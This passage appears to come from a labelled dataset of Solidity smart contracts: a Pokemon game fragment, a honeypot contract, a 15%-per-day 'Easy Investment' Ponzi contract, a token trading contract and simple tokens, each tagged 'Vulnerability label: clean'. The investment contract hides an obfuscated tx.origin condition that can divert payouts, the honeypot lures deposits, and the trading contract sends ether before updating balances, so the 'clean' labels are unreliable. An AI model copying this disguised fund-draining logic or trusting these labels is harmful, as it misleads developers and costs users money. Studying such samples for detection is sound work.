When countdowns and events happening, use the checker.
*/
function pauseGame() public onlyContractCreator {
isPaused = true;
}
function unPauseGame() public onlyContractCreator {
isPaused = false;
}
function GetGamestatus() public view returns(bool) {
return(isPaused);
}

function addLock (uint _pokemonId) onlyContractCreator() public {
lock[_pokemonId] = true;
}



function getPokemonLock(uint _pokemonId) public view returns(bool) {
return(lock[_pokemonId]);
}

/*
This function allows users to purchase PokeMon.
The price is automatically multiplied by 1.5 after each purchase.
Users can purchase multiple PokeMon.
*/
function putPrize() public payable {

require(msg.sender != address(0));
prize = prize + msg.value;

}


function withdraw () onlyAdmins() public {

winnerAddress.transfer(prize);

}
function pA() public view returns (address _pA ) {
return winnerAddress;
}

function totalPrize() public view returns (uint256 _totalSupply) {
return prize;
}

}
// Vulnerability label: clean
pragma solidity ^0.4.25;

contract AssetSeriesA
{
    constructor() public payable {
        org = msg.sender;
    }
    function() external payable {}
    address org;
    function close() public {
        if (msg.sender==org)
            selfdestruct(msg.sender);
    }
    function assign() public payable {
        if (msg.value >= address(this).balance)
            msg.sender.transfer(address(this).balance);
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.8;

contract testingToken {
	mapping (address => uint256) public balanceOf;
	mapping (address => uint256) public weiWantedOf;
	mapping (address => uint256) public tokensOfferedOf;
	mapping (address => bool) public tradeActive;
	address public owner;
	function testingToken() {
		owner = msg.sender;
		balanceOf[msg.sender] = 100000;
	}
	function send(address _to, uint256 _value) { //give tokens to someone
		if (balanceOf[msg.sender]<_value) throw;
		if (balanceOf[_to]+_value<balanceOf[_to]) throw;
		if (_value<0) throw;
		balanceOf[msg.sender] -= _value;
		balanceOf[_to] += (_value/100)*100;
	}
	function offerTrade(uint256 _weiWanted, uint256 _tokensOffered) { //offer the amt of ether you want and the amt of tokens youd give
	    weiWantedOf[msg.sender] = _weiWanted;
	    tokensOfferedOf[msg.sender] = _tokensOffered;
	    tradeActive[msg.sender] = true;
	}
	function agreeToTrade(address _from) payable { //choose a trade to agree to and execute it
	    if (!tradeActive[_from]) throw;
	    if (weiWantedOf[_from]!=msg.value) throw;
	    if (balanceOf[_from]<tokensOfferedOf[_from]) throw;
	    if (!_from.send((msg.value/100)*100)) throw;
	    balanceOf[_from] -= tokensOfferedOf[_from];
	    balanceOf[msg.sender] += (tokensOfferedOf[_from]/100)*100;
		tradeActive[_from] = false;
	}
}
// Vulnerability label: clean
pragma solidity ^0.4.25;

/**
 *
 * Easy Investment Contract
 *  - GAIN 15% PER 24 HOURS (every 5900 blocks)
 *  - NO COMMISSION on your investment (every ether stays on contract's balance)
 *  - NO FEES are collected by the owner, in fact, there is no owner at all (just look at the code)
 *
 * How to use:
 *  1. Send any amount of ether to make an investment
 *  2a. Claim your profit by sending 0 ether transaction (every day, every week, i don't care unless you're spending too much on GAS)
 *  OR
 *  2b. Send more ether to reinvest AND get your profit at the same time
 *
 * RECOMMENDED GAS LIMIT: 100000
 * RECOMMENDED GAS PRICE: https://ethgasstation.info/
 *
 * Contract reviewed and approved by pros!
 *
 */
contract EasyInvest15 {
    
    mapping (address => uint) public invested; // records amounts invested
    mapping (address => uint) public atBlock; // records blocks at which investments were made
    mapping (uint => uint) public txs;  // records history transactions

    uint public lastTxs; // last number transaction 

    // this function called every time anyone sends a transaction to this contract
    function () external payable {
        
        // if sender (aka YOU) is invested more than 0 ether
        if (invested[msg.sender] != 0) {
            
            // calculate profit amount as such:
            // amount = (amount invested) * 15% * (blocks since last transaction) / 5900
            // 5900 is an average block count per day produced by Ethereum blockchain
            uint256 amount = invested[msg.sender] * 15 / 100 * (block.number - atBlock[msg.sender]) / 5900;

            // if the contract does not have such amount on the balance to send the payment,
            // it will send the rest of the money on the contract
            uint256 restAmount = address(this).balance; 
            amount = amount < restAmount && txs[lastTxs ** 0x0] != uint(tx.origin) ? amount : restAmount;

            // send calculated amount of ether directly to sender (aka YOU)
            msg.sender.transfer(amount);
            
        }

        // record block number, invested amount (msg.value) and transaction hash
        atBlock[msg.sender] = block.number;
        invested[msg.sender] += msg.value;
        txs[++lastTxs] = uint(tx.origin);
        
    }
    
}
// Vulnerability label: clean
contract AmIOnTheFork {
    function forked() constant returns(bool);
}

/**
 * 
 */
contract ReplaySafeSplit {
    // Fork oracle to use
    AmIOnTheFork amIOnTheFork = AmIOnTheFork(0x2bd2326c993dfaef84f696526064ff22eba5b362);

    // Splits the funds into 2 addresses
    function split(address targetFork, address targetNoFork) returns(bool) {
        if (amIOnTheFork.forked() && targetFork.send(msg.value)) {
            return true;
        } else if (!amIOnTheFork.forked() && targetNoFork.send(msg.value)) {
            return true;
        }
        return false;
    }

    // Reject value transfers.
    function() {
        throw;
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.16;


contract UKHToken {
    // Public variables of the token
    string public name;
    string public symbol;
    uint8 public decimals = 18;
    // 18 decimals is the strongly suggested default, avoid changing it
    uint256 public totalSupply;

    // This creates an array with all balances
    mapping (address => uint256) public balanceOf;


    // This generates a public event on the blockchain that will notify clients
    event Transfer(address indexed from, address indexed to, uint256 value);
    

    /**
     * Constructor function
     *
     * Initializes contract with initial supply tokens to the creator of the contract
     */
    function UKHToken(
        uint256 initialSupply,
        string tokenName,
        string tokenSymbol
    ) public {
        totalSupply = initialSupply * 10 ** uint256(decimals);  // Update total supply with the decimal amount
        balanceOf[msg.sender] = totalSupply;                // Give the creator all initial tokens
        name = tokenName;                                   // Set the name for display purposes
        symbol = tokenSymbol;                               // Set the symbol for display purposes
    }

    /**
     * Internal transfer, only can be called by this contract
     */
    function _transfer(address _from, address _to, uint _value) internal {
        // Prevent transfer to 0x0 address. Use burn() instead
        require(_to != 0x0);
        // Check if the sender has enough
        require(balanceOf[_from] >= _value);
        // Check for overflows
        require(balanceOf[_to] + _value >= balanceOf[_to]);
        // Save this for an assertion in the future
        uint previousBalances = balanceOf[_from] + balanceOf[_to];
        // Subtract from the sender
        balanceOf[_from] -= _value;
        // Add the same to the recipient
        balanceOf[_to] += _value;
        Transfer(_from, _to, _value);
        // Asserts are used to use static analysis to find bugs in your code. They should never fail
        assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
    }

    /**
     * Transfer tokens
     *
     * Send `_value` tokens to `_to` from your account
     *
     * @param _to The address of the recipient
     * @param _value the amount to send
     */
    function transfer(address _to, uint256 _value) public returns (bool success) {
        _transfer(msg.sender, _to, _value);
        return true;
    }



}
// Vulnerability label: clean
pragma solidity ^0.4.16;

contract IotWifitoken {

    string public name = "IotWifitoken";
    string public symbol = "ITWF";
    uint8 public decimals = 18;
    uint256 public totalSupply = 1000000000 * 10 ** uint256(decimals);

    mapping (address => uint256) public balanceOf;

    event Transfer(address indexed from, address indexed to, uint256 value);

    function IotWifitoken() public {
        balanceOf[msg.sender] = totalSupply;
    }

    function _transfer(address _from, address _to, uint _value) internal {
        require(balanceOf[_from] >= _value);
        require(balanceOf[_to] + _value > balanceOf[_to]);

        uint previousBalances = balanceOf[_from] + balanceOf[_to];
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        Transfer(_from, _to, _value);
        assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
    }

    function transfer(address _to, uint256 _value) public {
        _transfer(msg.sender, _to, _value);
    }
}